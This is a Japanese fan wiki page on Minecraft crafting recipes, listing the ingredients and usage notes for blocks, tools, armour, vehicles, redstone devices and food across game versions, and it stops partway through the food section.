レシピ

アイテムデータ/議論/レシピページにて、ページ編集の提案がされています。

このページではアイテムの合成、加工のレシピのみについて掲載しています。
このWikiではアイテム加工のレシピは、基本的に作業台を使った画像を使用しています。
2×2で作成可能なレシピは全てインベントリの加工枠で作成可能です。
アイテムの配置が正しければ、枠内での位置が移動・左右反転していても製作できます。
また、一部のアイテム合成は、素材さえあれば配置を問わない事も覚えておくといいでしょう。
これは「不定形レシピ」と呼ばれ、組み立てるのではなく混ぜ合わせるようなレシピの多くがこれに当たります。

かまどを使うレシピ(鉄金インゴット・ガラス・レンガ・堅焼き粘土 など)は精錬を参照。
各ポーションのレシピは醸造(ポーション)を参照。


レシピ

基本

名前
作り方 素材と説明
木材
(Wood Planks)
原木(樫/松/白樺/ジャングルの木/アカシア/ダークオーク):1
建材としての使用の他にも様々な用途がある。
原木一つから得られる燃料としての能力は木炭の次に高効率。
火をつけたり、近くに火気や溶岩等の熱源があると延焼する。
原木の種類によって木材の色も異なり、種類の違う木材はスタック時に別枠扱いで、
木材の種類により色が変わる階段の作成などには、混ぜて使うことはできない。

(Stick)
木材:2
主に他のレシピの素材となり、松明や矢、看板、はしご、道具類の柄などに使用する。
かまどの燃料にもなるが、すぐに燃え尽きるので精錬にはかなりの数が必要。
ver1.9から 砂漠、メサ、メガタイガなどにある枯れ木を壊したときに、0~4本ドロップするようになった。
松明
(Torch)
石炭/木炭:1 棒:1
設置すると14レベルの光を放つ。そのため、近くの雪と氷を溶かす。
周囲の可燃物に引火することはない。
作業台
(Crafting Table)
木材:4
3×3の製作グリッドを使うために必要。
かまど
(Furnace)
丸石:8
精錬をすることができる。
チェスト
(Chest)
木材:8
中にアイテムを収納できる。
二個並べて設置すると、一つの大きなチェスト(ラージチェスト)になる。
ラージチェストの横にはチェストを置くことができない。
周囲に火気や溶岩等の熱源があっても延焼しないが、爆破される等して壊されると中のアイテムが全て飛び出す。
ベッド
(Bed)
羊毛:3 木材:3
夜にのみ使用可能。(雷雨時には何故か昼夜関係なく使用可能。)
右クリックすると寝て、時間を朝にする。
昼夜サイクルが変更されるだけで時間経過はしないため、寝ている間にかまどでの精錬が済んだり、ポーションの効き目が消えたり、ということはない。

ベッドで寝るとリスポーン地点がそのベッドに変更される。
リスポーン時にベッドが塞がれていると初期リスポーン地点にリスポーンする。
縦5m、横10mの範囲内に敵対Mobが存在する場合は眠ることができない。
水中やガラス・雪の上などには設置不可。
ネザーやジ・エンドでベッドを使用すると爆発する。
マルチプレイヤーでリスポーン地点を変えたい場合、眠る前に一度「ベッドから出る」をクリックする必要がある。

ブロック

名前
作り方 説明
鉱石ブロック
(Block of Iron
Block of Gold
Block of Diamond
Lapis Lazuli Block
Block of Emerald
Block of Coal)
鉄インゴット/金インゴット/ダイヤモンド/ラピスラズリ/エメラルド/レッドストーン/石炭:9
9つ鉱石資源を固めて作られる。
ブロックを加工し直して各種素材に戻すことも出来るので、アイテム欄を節約したい際に重宝する。見た目から、高級な建築素材としても活用できる。
石炭ブロックは燃料に使用可能。
レッドストーンブロック(後述)はRS回路に使用可能で、常に動力を発する性質を持つ。
石炭ブロックは、火をつけたり近くに火気や溶岩等の熱源があると延焼する。
グロウストーン
(Glowstone)
グロウストーンダスト:4
4つのグロウストーンダストから作成できる。松明よりも周囲を明るく照らすことができ、さらに水に浸かってもアイテム化しない。
グロウストーンを壊すと、1~4個のグロウストーンダストが手に入る。そのまま入手するにはシルクタッチ付きのツールで破壊する必要がある。
羊毛
(Wool)
糸:4
絵や旗などの装飾具の素材、または建材として使用できる。
主に羊から入手できるが、
クモから採れる糸を4つ紡ぎ合わせて作製することも可能。
火をつけたり、近くに火気や溶岩等の熱源があると延焼する。
色付き羊毛
(Colored Wool)
羊毛:1 染料:1 (※配置不問)
建材として使用できる。染料については、ページ下の方を参照のこと。
火をつけたり、近くに火気や溶岩等の熱源があると色如何にかかわらず延焼する。
TNT
(TNT)
火薬:5 砂:4
火打ち石と打ち金による着火、RS回路による信号で点火し、爆発させることができる。この爆発はクリーパーのものよりも強力で、洞窟開拓や整地といった場面で重宝する。ワンクリックですぐ回収できる上に引力による落下もしないので、建築の足場に便利という一面もある。
火薬はクリーパー、ガストから入手可能。
火炎の矢を当てたり近くに火気がある場合、引火して爆発する。また、別の爆発物の爆風の届く範囲に置くと誘爆する性質を持つので、取り扱いには注意すること。
ハーフブロック
(Slabs)
木材/丸石/砂岩/石/石レンガ/レンガ/ネザーレンガブロック/ネザー水晶ブロック/赤砂岩/プルプァブロック:3
通常のブロックの半分の高さのブロック。
見た目は元のブロックを半分にしたものだが、例外的に石ハーフブロックは固有のテクスチャーに変化する。
砂岩と石レンガは模様入り等の亜種からや、原種亜種混合でも作れるが、
完成したブロックの見た目は通常の砂岩、通常の石レンガに準拠する。
ただし、木材で作る場合は木の種類ごとに色の区別があるため、素材を一種類に統一しなくてはならない。
木のハーフブロックは火をつけたり、近くに火気や溶岩等の熱源があると延焼する。
ハーフブロックにすると数が元の倍になるため、長い足場づくりをする際に有用。
また、下付きハーフブロックの上には敵がスポーンしない。
階段
(Stairs)
木材/丸石/砂岩/石レンガ/ネザーレンガ/レンガブロック/ネザー水晶ブロック/赤砂岩/プルプァブロック:6
通常のブロックと同じ高さの階段。これを足場にすることで、段差をジャンプすることなく移動できる。また、その形状から屋根の建材、イス等の家具にもなる。
砂岩と石レンガは模様入り等の亜種からや、原種亜種混合でも作れるが、
完成したブロックの見た目は通常の砂岩、通常の石レンガに準拠する。
ただし、木材で作る場合は木の種類ごとに色の区別があるため、素材を一種類に統一しなくてはならない。
木の階段は火をつけたり、近くに火気や溶岩等の熱源があると延焼する。
雪ブロック
(Snow Block)
雪玉:4
雪玉の保存や建材に利用できる。また、これを2段重ね、てっぺんにカボチャを載せることでスノーゴーレムを生成可能。
薄いものと違って、雪ブロックは松明で溶けない。

(Snow (cover))
雪ブロック:3
ブロック1/8サイズの厚みの雪。
カーペットと似ているが、こちらは重ねる事が可能。8枚分で雪ブロックと同等になる。
なお、厚みに関わらず松明で融解し、スコップで掘った場合は重ねた個数分だけ一気に雪玉になる。
粘土ブロック
(Clay (block))
粘土:4
粘土の保存や建材に利用できる。かまどで焼くことで、染色可能な硬い粘土ブロックを作成できる。
レンガブロック
(Bricks)
レンガ:4
その見た目から建材として重宝するが、サバイバルの場合、素材である粘土はなかなか集まりにくい為、これで建物を作るにはそれなりの根気がいるだろう。
石レンガ
(Stone Brick)
石:4
建材として利用できる。
ダンジョン、要塞で見かけられるブロック。丸石をかまどで焼いて出来た石を4つ並べてクラフトすることで作成する。また石レンガを精錬すると、ヒビの入った石レンガになり、これにツタを加えると、苔石レンガにできる。
苔石レンガ
(Mossy Stone Bricks)
石レンガ:1 ツル:1
ダンジョン、要塞で見かけられるブロック。
建材として利用できる。
模様入り石レンガ
(Chiseled Stone Bricks)
石レンガハーフブロック:2
ダンジョン、要塞で見かけられるブロック。
建材として利用できる。
砂岩
(Sandstone)
砂:4/砂岩:4/砂岩ハーフブロック:2
主に砂漠の地面深くに存在するが、砂を4つ並べることでも作成できる。建材に向いており、ピラミッドでは建材として利用されている。
砂ブロックと違い引力による影響を受けない。
レシピパターンを変えると側面の模様が変化する。
パターン1:砂×4 → 砂岩
パターン2:砂岩/模様入り砂岩×4 → 滑らかな砂岩×4
パターン3:砂岩ハーフブロック×2 → 模様入り砂岩
滑らかな砂岩と模様入り砂岩は一定数以上あれば相互変換が可能。
ハーフブロックにして重ねて設置すれば、擬似的に通常の砂岩ブロックにも戻せる。
赤砂岩
(Red Sandstone)
赤砂:4/赤い砂岩:4/赤い砂岩ハーフブロック:2
14w32aにて追加。メサバイオームのみに存在する。
本棚
(Bookshelf)
木材:6 本:3
飾りとして使用できるほか、
エンチャントテーブルと組み合わせると強力なエンチャントを引き出す事が出来る。
これを壊すと本×3をドロップする。下手に設置して壊したりすると木材のムダになってしまうので注意。
シルクタッチが付いた斧で本棚そのまま回収可能
火をつけたり、近くに火気や溶岩等の熱源があると延焼する。
ジャック・オ・ランタン
(Jack o'Lantern)
カボチャ:1 松明:1
カボチャは地上に稀に存在し、一カ所につき1~14個程度が散らばっている。
スイカ(ブロック)
(Melon (block))
スイカ:9
四角いが立派なスイカ。壊すと割れ、切ったスイカがたくさん落ちる。シルクタッチでそのまま回収可能。なお、切ったスイカは、収穫前の状態に戻すことが出来る。
ネザー水晶ブロック
(Block of Quartz)
ネザー水晶:4
石英。その美しい見た目から、高級な建材として利用できる。ただし、耐久力はあまり無い。
また上記と同じ配置で階段、ハーフブロックにクラフト可能。
模様入り
ネザー水晶ブロック
(Block of Quartz)
ネザー水晶ブロック:2/ネザー水晶ハーフブロック:2
建材として利用できる。
ブロックは柱型、ハーフブロックは模様入りのブロックになる。
干草の俵
(Hay Bale)
小麦:9
ver1.6 から追加されたアイテム。
小麦を省スペースに保管したり、馬にあげることで、馬のHPを 10 回復する。 設置時、原木と同じように、縦置きと横置きに置くことができる。
鉱石ブロック同様、ブロックから元の小麦に加工し直せられる。
畳として装飾にも利用できる。
ver1.9 からこのブロックに着地した時、落下ダメージを80%カットしてくれるようになった。
100ブロックの高さから防具なしで飛び降りても致命傷ですむ。
色付き粘土
(Stained Clay)
堅焼き粘土:8 染料:1
ver1.6 から追加
羊毛と同様に色を付けることができ、建材として利用できる。ウールと違って引火しない。
染料16種に無着色を加え、計17種類の堅焼き粘土が存在する。
色付きガラス
(Stained Glass)
ガラス:8 染料:1
ver1.7 から追加
やや半透明の色付きガラス。装飾として使用できる。
スライムブロック
(Slime Block)
スライムボール:9
ver1.8 から追加
このブロックによるダメージはなく、高さによってバウンドする。
落ちてきた高さの8割の高さ、バウンドする。
花崗岩
(Granite)
閃緑岩:1 ネザークォーツ:1
ver1.8から追加
安山岩
(Andesite)
丸石:1 閃緑岩:1
ver1.8から追加
閃緑岩
(Diorite)
ネザークォーツ:2 丸石:2
ver1.8から追加
磨かれた花崗岩
(Polished Granite)
花崗岩:4
ver1.8から追加
建材として利用できる。
磨かれた安山岩
(Polished Andesite)
安山岩:4
ver1.8から追加
建材として利用できる。
磨かれた閃緑岩
(Polished Diorite)
閃緑岩:4
ver1.8から追加
建材として利用できる。
苔石
(Moss Stone)
丸石:1 ツル:1
ver1.8からレシピの追加
メガタイガバイオームや、地下のモンスタースポナーで生成される。丸石とは違い、石にすることなどはできない。
粗い土
(Coarse Dirt)
土:2 砂利:2
ver1.7から追加。
ver1.8からレシピの追加。
草が生えない土。テクスチャが草よりやや暗めになっている。けもの道など通る目印に向いている。
プリズマリン
(Prismarine)
プリズマリンの欠片:4
ver1.8から追加
海底神殿に生成されるブロック。
プリズマリンレンガ
(Prismarine Bricks)
プリズマリンの欠片:9
ver1.8から追加
海底神殿に生成されるブロック。
ダークプリズマリン
(Dark Prismarine)
プリズマリンの欠片:8 イカスミ:1
ver1.8から追加
海底神殿に生成されるブロック。
シーランタン
(Sea Lantern)
プリズマリンの欠片:4 プリズマリンクリスタル:5
ver1.8から追加
海底神殿に生成されるブロック。
光源効果があるので、照明などに利用できる。
シルクタッチの効果が付いたツールでないと回収できない。
エンドストーンレンガ
(End Stone Bricks)

エンドストーン:4
エンドシティで発見できる装飾ブロック。回収にはツルハシが必要。
プルプァブロック
(Purpur Block)
焼いたコーラスフルーツ:4
エンドシティで発見できる装飾ブロック。回収にはツルハシが必要。
マグマブロック
(Magma Block)
マグマクリーム:4
クラフトと自然生成があり、自然生成の場合、ネザーの溶岩の近くに生成される。
触れているMobや防具(盾を除く)はダメージを受ける。
ドロップアイテムは破壊しない。
プレイヤーは、スニークをするか氷渡りのブーツを履くことで、ダメージを回避できる。
マグマブロックの上に水が置かれている場合、ランダムで水が煙のパーティクルとともに消滅する。
また、マグマブロックは隣り合った光源ブロックの明るさを保持する。
マグマブロックの近くに光源ブロックを置くと、
マグマブロックが受けた明るさと同じ明るさの光を放つようになる。
光源ブロックが無くなっても明るさを保つ。
マグマブロックは光源ブロックであり、元々の明るさは3である。
明るさの限度は15。
ネザーウォートブロック
(Nether Wart Block)
ネザーウォート:9
ver1.10にて追加。
ネザーウォートブロックからネザーウォートへは戻せない。
用途は不明。
赤ネザーレンガ
(Red Nether Brick)
ネザーレンガ:2 ネザーウォート:2
赤みを帯びたネザーレンガ。入手法がクラフトのみで自然生成はされない。
耐燃性があり、主に装飾に使われる。
骨ブロック
(Bone Block)
骨粉:9
ver1.10にて追加。
砂漠/沼地バイオーム(亜種含む)に、「化石」として各チャンク1/64の確率で自然生成される。
原木などと同じで、設置する方向によって見た目が変わる。


道具

名前
作り方 説明

(Axe)
棒:2 木材/丸石/鉄インゴット/金インゴット/ダイヤモンド:3
木に関するブロックを素手より早く壊せる。
剣に続いて攻撃力が高いので、武器がない場合の代用も可能。
ツルハシ
(Pickaxe)
棒:2 木材/丸石/鉄インゴット/金インゴット/ダイヤモンド:3
石や金属に関するブロックと鉱石を素手より早く壊すことができ、回収ができる。
破壊にツルハシを必要とするブロックの一部は、適切なツルハシを使わないと高速で破壊できず、アイテムもドロップしない。
例:丸石=全てのツルハシが対応  鉄鉱石=石以上のツルハシが対応(木のツルハシでは無効)など。
シャベル
(Shovel)
棒:2 木材/丸石/鉄インゴット/金インゴット/ダイヤモンド:1
土や砂などの柔らかいブロックを素手より早く掘れる。整地に便利
積もっている雪に使うと雪玉を入手できる。
ver1.9 から、土に右クリックをすることで耐久値を消費して「小道ブロック」にできるようになった。このブロックはシルクタッチでも回収できず、壊すと土ブロックが手に入る。

(Sword)
棒:1 木材/丸石/鉄インゴット/金インゴット/ダイヤモンド:2
手や他のツールよりも攻撃力が高い戦闘向けの武器。
攻撃力はダイヤ>鉄>石>木=金 の順だが、耐久力は金の剣が一番低い。
鉄の剣は、まれにゾンビが持っており、そこから入手可能。金の剣はゾンビピッグマン、石の剣はウィザースケルトンから入手できる。
ver1.6.1から クリエイティブでは物を壊す事が出来なくなった。
ver1.9 からガードができなくなった。
クワ
(Hoe)
棒:2 木材/丸石/鉄インゴット/金インゴット/ダイヤモンド:2
種を植えることが出来るように土を耕すことができる。これに関しては素材のグレードによる差が耐久性以外に無いので、よほど大規模でもない限りはわざわざ金やダイヤモンドを使ってまでこれを作ることはないだろう。
農林業について

(Bow)
棒:3 糸:3
遠距離攻撃が出来るようになる。ただし使うには矢を必要とする。
クモからとれる糸を使って作るのが一般的だが、まれにスケルトンからもドロップする。後者はエンチャント付きのも含まれる可能性がある反面、耐久ゲージは減っている。

(Arrow)
火打石:1 棒:1 羽:1
弓専用の矢。
矢はスケルトンのドロップからも入手できる。また、素材である羽(Feathers)は鶏を倒すことで手に入れられる。
ver1.9からはオフハンドに持った矢が優先的に使用される。
マーキングの矢
(Spectral Arrow)
グロウストーンダスト:4 矢:1
ver1.9で追加された。矢の周りをグロウストーンダスト4つで囲んでクラフトする。当たったmobは一定時間発光し、障害物を挟んでも見えるようになる。
効果付きの矢
(Tipped Arrow)
各種残留ポーション:1 矢:8
ver1.9で追加されたポーションの効果がついた矢。残留ポーションの周りを矢8本で囲んでクラフトする。
当たったMobはその効果を受ける。
鈍化の矢はスケルトンの亜種のStrayからも入手できる。
火打石と打ち金
(Flint and Steel)
鉄インゴット:1 火打石:1 (※ver1.7.2以降は配置不問)
指定した場所に火をおこせる。火事にならないよう注意。
他、ネザーへの出入り口となるネザーポータルを開いたり、TNT爆弾などに着火するのに必要。
バケツ
(Bucket)
鉄インゴット:3
水、溶岩、牛乳を運ぶ(ミルクのみ飲む)のに用いられる。空の状態のバケツのみ、スタックが可能。
コンパス
(Compass)
鉄インゴット:4 レッドストーン:1
ワールド作成時のスタート位置(初期リスポーン地点)を指し示す。
ベッドを使ってリスポーン地点を変更しても、それとは無関係に常に初期位置を示し続ける。ネザー、エンドワールドでは故障してしまう。
時計
(Clock)
金インゴット:4 レッドストーン:1
時間が分かるようになる。そのまま持ち物で確認する他に、額縁に入れて家の時計にするにもいい。ネザー、エンドワールドでは故障する。
釣り竿
(Fishing Rod)
棒:3 糸:2
水辺に投げて、釣りができる。生魚を手に入れる手段である。
釣り竿について
ver1.7から 釣れる魚として、生鮭、フグ、クマノミが追加。
さらに魚が近づいてくるとき、水しぶきのエフェクトが近づいてくるようになり、浮きが沈むタイミングが分かりやすくなった。
ver1.10から アイテムも引き寄せられるようになった。
白紙の地図
(Empty Map)
紙:8 コンパス:1
右クリックで使用すると周囲の地形が見られる「地図」になる。
ver1.4.1以前は直接地図が作成され、描画範囲も今とは異なっていた。
地図(拡張)
(Zoomed-out Map)
紙:8 地図:1
地図の周囲に紙を継ぎ足していくことで、より余白が大きく広範囲に及ぶ拡張地図を作れる。全5段階。
Shiftを押しながら作成すると、 拡張しないので注意。
地図(複製)
(Cloned Map)
白紙の地図:1 地図:1 (※配置不問)
地図の内容を余白の埋め具合や拡張回数ごと複写したスペアが作成される。
このスペアは元の地図と内部データ的に完全に同一なのでスタックが可能で、
記入範囲も同期するためのバックアップなどとして機能する。
ハサミ
(Shears)
鉄インゴット:2
鉄をナナメに2つ配置してクラフトすることで入手できる。羊を傷つけずに羊毛を刈り取ったり、葉や草などを壊さずに収集するために使用する。ただし採集速度はマッハなので、油断していると耐久力もごっそり持っていかれるのはザラ。
また、クモの巣や羊毛ブロックを素早く回収することができる。
ファイヤーチャージ
(Fire Charge)
ブレイズパウダー:1 石炭/木炭:1 火薬:1 (※配置不問)
使用すると「火打石と打ち金」のようにブロックに火を点けることができるが、こちらは使い切り。
ディスペンサーで発射すると、着弾地点のブロックやモンスター、生き物に点火する。
着弾地点に空間があれば、水、溶岩を突っ切って火を点けることができる。
本と羽ペン
(Book and Quill)
本:1 羽:1 イカスミ:1 (※配置不問)
本の複数ページに渡って自由に文字を書き込める。
サインをする事で1冊の本として完成させる事が出来るが、サインすると以降の再編集は出来なくなる。
サインされた本はエンチャント済みツールの様に輝き、アイテム名には「(サイン名)によって (ユーザー名)」と表示される。
著書(コピー)
(Written Book)
著書:1 本と羽ペン:1~8 (※配置不問)
著書(サインされた本)をコピーする。
オリジナルの著書とは異なりスタックが可能。
ニンジン付きの棒
(Carrot on a Stick)
釣り竿:1 ニンジン:1 (※耐久値が減った釣り竿では作成できない)
釣り竿の斜め下にニンジンを配置すると作成できる。
手に持っていると豚を誘導することができ、
サドル付きの豚に乗った状態だと豚の舵取り(コントロール)ができる。
ただ、豚のスピードが遅いうえ耐久値の減りが速いので、移動手段としては不向き。
エンチャント付きの釣り竿でも作成できるが、エンチャントの効果がニンジン付き釣り竿に引き継がれることはない。
首綱
(Lead)
糸:4 スライムボール:1
ver1.6 から追加
動物に対して使うことで、引っ張って連れて歩いたり、フェンスに繋ぎ留めておくことができる。自分から切るか距離を離しすぎない限りは繋いでいられる。ヤマネコを野生の状態のまま捕まえるには最適だが、捕まえるにはヤマネコの素早さを捉えられる必要がある。 切った場合縄が外れ、その動物の足元にドロップされる。

防具

名前
作り方 説明
ヘルメット
(Helmets)
革/鉄インゴット/金インゴット/ダイヤモンド:5
0.5~1.5アーマーポイントを得る。
チェストプレート
(Chestplates)
革/鉄インゴット/金インゴット/ダイヤモンド:8
1.5~4アーマーポイントを得る。
レギンス
(Leggings)
革/鉄インゴット/金インゴット/ダイヤモンド:7
1~3アーマーポイントを得る。
ブーツ
(Boots)
革/鉄インゴット/金インゴット/ダイヤモンド:4
0.5~1.5アーマーポイントを得る。

(Shield)
鉄インゴット:1 木材:6
ver1.9にて追加。 右クリックで構える。
耐久値がなくなると壊れる。構えているときは移動速度が極端に遅くなる。
また、他プレイヤーやゾンビ等の直接攻撃はガードした時にノックバックする。矢も短距離だが跳ね返すことができ、その矢に当たったMOBはダメージを受ける。
後ろからの攻撃は防げないので注意。構えているときは攻撃できない。
また、バナーとクラフトすることで盾にバナーの模様をつけることができる。
ver1.11から 攻撃をガードした時、その攻撃により発生するダメージを100%カットするようになった。
ver1.10までのダメージカット率は66%。

乗り物

名前
作り方 説明
トロッコ
(Minecart)
鉄インゴット:5
プレイヤーを乗せて線路の上を走る。
乗り物について
かまど付きトロッコ
(Minecart with Furnace)
かまど:1 トロッコ:1
他のトロッコを線路に沿って押すことができる。
燃料をかまどトロッコにやると動き出す(前にトロッコ置いて後ろに動力すれば自動で出来る)
壊すとトロッコとかまどに分かれる。
チェスト付きトロッコ
(Minecart with Chest)
チェスト:1 トロッコ:1
線路に沿って、アイテムを輸送できる。
壊すとトロッコとチェストに分かれる。
ホッパー付きトロッコ
(Minecart with Hopper)
ホッパー:1 トロッコ:1
線路上のアイテムを回収したり
ホッパーやチェスト等のブロックからアイテムを移動させる事ができる。
アクティベーターレールにより回収機能のON/OFFを切り替えられる。
TNT付きトロッコ
(Minecart with TNT)
TNT:1 トロッコ:1
ON状態のアクティベーターレールの上を通ると起爆する。
レール
(Rail)
鉄インゴット:6 棒:1
トロッコを走らせるためのいわゆる線路。真横に置くと曲がり、1ブロック高いところに置くと坂になる。
パワードレール
(Powered Rail)
金インゴット:6 棒:1 レッドストーン:1
トロッコを走らせるのに使う場合がある。
レッドストーン動力が入力されるとトロッコを加速、入力されないと減速する。
レールと違い曲がらないので直線だけ有効。
ディテクターレール
(Detector Rail)
鉄インゴット:6 感圧式スイッチ(石):1 レッドストーン:1
トロッコを走らせるのに使う場合がある。
トロッコ専用の感知板として機能する。
レールと違い曲がらないので直線だけ有効。
アクティベーターレール
(Activator Rail)
鉄インゴット:6 棒:2 レッドストーントーチ:1
このレールを通ったTNT付きトロッコとホッパー付きトロッコを
作動、起爆させたりする為に用いるレール。
このレールでは加速減速しない。
動力ONになっているアクティベーターレール上をMobを載せたトロッコが通過するとMobを下ろすことが出来る。
ボート
(Boat)
木材:5
水上を、泳ぐよりも速く移動できる。ただし操縦にはコツが要る。
ある程度の速度で障害物にぶつかるとすぐ壊れてしまうので、海を渡航する際は複数持っておくことを勧める(ver1.8.9まで)。トロッコのように複数回殴るとそのままアイテム化して回収できる。
ver1.6.x はWキーとマウスのみでA・S・Dキーで曲がったり後ろにバックすることが出来なくなった 
ver1.7.2 から1.5.2以前と同様の操作方法に戻った 
ver1.9 から障害物にぶつかっても壊れなくなった。さらに方向転換をマウスではなくA、Dキーで行うようになった。
さらに既存のボートはオークのボートとなり、5種類の木材のボートが作成できるようになった。
※ver1.9からアイテムのアイコンが変更されています。
画像を変更してください。

機械

名前
作り方 説明
木のドア
(Wooden Door)
木材:6
一般的なドア。右クリックのほかに、RS動力を受けることでも開閉する。
開いた状態でも当たり判定があり、このままでも水流を遮断する特性を持つ。
難易度がハードだと、ゾンビ、ゾンビ ピッグマンはドアを通ろうとする際、扉を壊してしまう。
Ver1.4.1以前では、 殴っても開閉できた。
ver1.8から、スタック可能となり、クラフトで得る個数が3つになった。
クラフトに使用した木材によって5種類の専用のテクスチャが使用されるようになった。
異なる種類の木材では作成不可となった。
追加のアイテムのアイコンが新しく変更された。
鉄のドア
(Iron Door)
鉄インゴット:6
遺跡で見かけられる。木のドアと異なり右クリックで開閉出来ず、レッドストーン動力でしか開閉しない。
ver1.8から、スタック可能となり、クラフトで得られる個数が3つになった。
またアイテムのアイコンが新しく変更された。
なお、村人はこの扉を開けられず、またゾンビはこのドアを壊すことができないので、村人を守るために使うこともできる。
木のトラップドア
(Wooden Trapdoor)
木材:6
木のドアに似ているが、上下方向に開閉する。
レッドストーン回路でも開閉が可能。
通称ハッチ。開いていてもMobは床と勘違いするため、落下させることが可能。
鉄のトラップドア
(Iron Trapdoor)
鉄インゴット:4
レッドストーン信号で開閉する。
木のそれと大差はない。
フェンスゲート
(Fence Gate)
棒:4 木材:2
右クリックで開閉するフェンス。足場としての高さは1.5ブロック相当の特殊な判定を持っている。
レッドストーン回路の動力でも開閉する。
ver1.8から、レシピその物に変化はないが、既存のフェンスゲートはオークのフェンスゲートとなり、
それぞれの素材のフェンスが5種類追加された。
異なる種類の木材では作成不可となった。
可燃性となった
感圧式スイッチ
(Pressure Plate)
木材/石:2
生物が上に乗ることでレッドストーン信号を出力する。
木の感圧式スイッチは物を落としただけでも作動する。
火が付かないので焼失することはない。
重量感圧板
(Weighted Pressure Plate)
鉄インゴット/金インゴット:2
通常の感圧式スイッチと異なり生物が乗っても反応しないが
ドロップしているアイテムが乗っている量により
出力される強さが決まる。
金より鉄の感圧板の方がより沢山のアイテムを必要とする。
ボタン
(Button)
木材/石:1
押すことで、木のボタンは1.5秒、石のボタンは1秒の間レッドストーン信号を出力する。
木のボタンは矢が当たっても反応して動作する。
火が付かないので焼失することはない。
レバー
(Lever)
棒:1 丸石:1
右クリックでONにすることで、レッドストーン信号を出力する。
レッドストーントーチ
(Redstone Torch)
レッドストーン:1 棒:1
レッドストーン信号を出力し続ける。
ブロックに立てている際、そのブロックに信号が入ると、OFFになる。
レッドストーンリピーター
(Redstone Repeater)
レッドストーン:1 レッドストーントーチ:2 石:3
ワイヤーだけでは15ブロック以内しか届かないレッドストーンの動力を延長(リピート)したり、
動力の伝播を指定間隔で遅延(ディレイ)させたりできる。(指定間隔4段階(0.1秒 0.2秒 0.3秒 0.4秒))
またダイオードのように極性があり、一方向にのみ動力を伝える。
ブロックとしての高さは0.125で若干厚みがある。半ブロックや日照センサーより薄い。
レッドストーンコンパレーター
(Redstone Comparator)
レッドストーントーチ:3 ネザー水晶:1 石:3
後ろと横からのレッドストーン信号を受ける。
通常時:比較モード 右クリック時:減算モード
比較の場合、横からの信号が後ろより強い場合は信号を一切出力しなくなる。逆の場合はそのままの強さで出力される。
減算の場合、後ろからの信号から
横からの信号の強さを引いた強さで出力される。
0、またはマイナスになる場合は出力しない。
ブロックとしての高さは0.125で若干厚みがある。半ブロックや日照センサーより薄い
ver1.6 から水入り大釜やエンダーアイ付きエンドポータルフレームなどに信号を受けるようになった(大釜は最大3信号を与える)
ver1.8 額縁から信号を受けるようになった(最大8?)。
ジュークボックス
(Jukebox)
木材:8 ダイヤモンド:1
レコードを使うと音楽が流れる。
レコードはクリーパーがスケルトンの矢で倒された際にドロップするか、ダンジョンの宝箱から手に入る。
なお、BGMをオフにしていてもジュークボックスの音楽は流れる。
ver1.9 から、Escキーの設定欄からジュークボックスの音量も操作できるようになった。
音符ブロック
(Note Block)
木材:8 レッドストーン:1
右クリックで音階調節、左クリックで音を鳴らす。
レッドストーン信号で音を鳴らすことも出来る。
どのブロックの上に置くかで音色が変わる(→音色について)。
ドロッパー
(Dropper)
丸石:7 レッドストーン:1
9マスのインベントリを持つ。
レッドストーン信号を入力すると
中に入っているアイテムを一つその場に落とす。
また、ドロッパー同士やチェストに繋げば
入力があると繋いだ先にアイテムを収納する。
ディスペンサー
(Dispenser)
丸石:7 弓:1 レッドストーン:1 (※耐久値が減った弓では作成できない)
9マスのインベントリを持つ。
レッドストーン回路で信号を入れると中に入っている物を射出する。
農作物への骨粉使用やプレイヤーへの防具装着などの使い方もある。
ピストン
(Piston)
木材:3 丸石:4 鉄インゴット:1 レッドストーン:1
動力が送られるとピストンの向いてる方向に1マス押し出す。動力が切れると元に戻る。
押し出す方向にブロックがある場合、そのブロックを押し出す。一度に押し出せるブロックの数は12個まで。
粘着ピストン
(Sticky Piston)
スライムボール:1 ピストン:1
基本的にピストンと同じ。
動力が切れると元に戻ると同時に押し出した先のブロック1つも引き戻す。
上向き以外の時、空中の砂や砂利は引き戻せないが、上向きの場合は落下せず引き戻すことができる。
レッドストーンランプ
(Redstone Lamp)
レッドストーン:4 グロウストーン:1
レッドストーンなどで動力を送ると15レベルの強いを光を放つ。
反対に、動力が遮断されると明かりは消える。
レッドストーントーチや松明を置いたり刺したりすることもできる。
トリップワイヤーフック
(Tripwire Hook)
鉄インゴット:1 棒:1 木材:1
当該線上を接触感知する事で動力を送る装置。
トリップワイヤーフックを対面する壁に設置し、間を糸で接続する事で機能する。
糸はレッドストーンワイヤーの要領で接続するが空中にも設置可能。
途中で曲げると機能しなくなるが、2つの糸を交差させる事は可能
動力はトリップワイヤーフック本体のみから送信され、糸からは送信されない。
トラップチェスト
(Trapped Chest)
トリップワイヤーフック:1 チェスト:1
チェストを開くと真下へ動力を送る。
信号の強さは開ける人数で決まる。
通常のチェストの隣にも設置することが出来る。
通常のチェストと同じようにラージトラップチェストにする事も可能。
ホッパー
(Hopper)
鉄:5 チェスト:1
ホッパーが接続されたインベントリを持つブロック
(チェスト、ホッパー、チェストトロッコ、ディスペンサー
ドロッパー、トラップチェスト、かまど、醸造台)
に毎秒2.5個の速度でアイテムを移動させる。
レッドストーンブロック
(Block of Redstone)
レッドストーン:9
レッドストーントーチと同じく強度15の信号を出力する。
また、レッドストーントーチとは異なり、ブロック扱いなので、天井に設置したり、ピストンで押す事が出来る。
日照センサー
(Daylight Sensor)
ガラス:3 ネザー水晶:3 木材ハーフブロック:3
日光の強さに応じた信号を出力する。
明るい程強い信号を出し暗くなるにつれて弱まっていく。
高さ0.375で、半ブロックより薄く、リピーターやコンパレーターより厚いブロック
ver1.8から右クリックで反転モードに切り替わるようになった。
反転モードでは暗いほど強い信号を出力する。

食料

※直接HPを回復するのはβ1.7まで。β1.8からは満腹度を回復する。満腹度が9以上になるとHPが自動で回復するようになる。
名前
作り方 説明
ボウル
(Bowl)
木材:3
キノコシチュー、ウサギシチュー、ビートルートスープを作るのに使う。
クッキー
(Cookie)
小麦:2 カカオ豆:1
満腹度を1回復する。β1.8以前でスタックできた唯一の食べ物。
ジャングル実装で素材のカカオ豆の入手が容易になり、効果も増加したため、気軽に食べられるようになった。
腹持ち0.2
キノコシチュー
(Mushroom Stew)
赤キノコ:1 茶キノコ:1 ボウル:1 (※配置不問)
満腹度を3回復する。
他の食料と違ってスタック出来ない。
ムーシュルームに対して右クリックすることでも手に入る。
食べるとボウルのみが残る。
腹持ち3.6
パン
(Bread)
小麦:3
満腹度を2.5回復する。
腹持ち3
金のリンゴ (下位)
(Golden Apple)
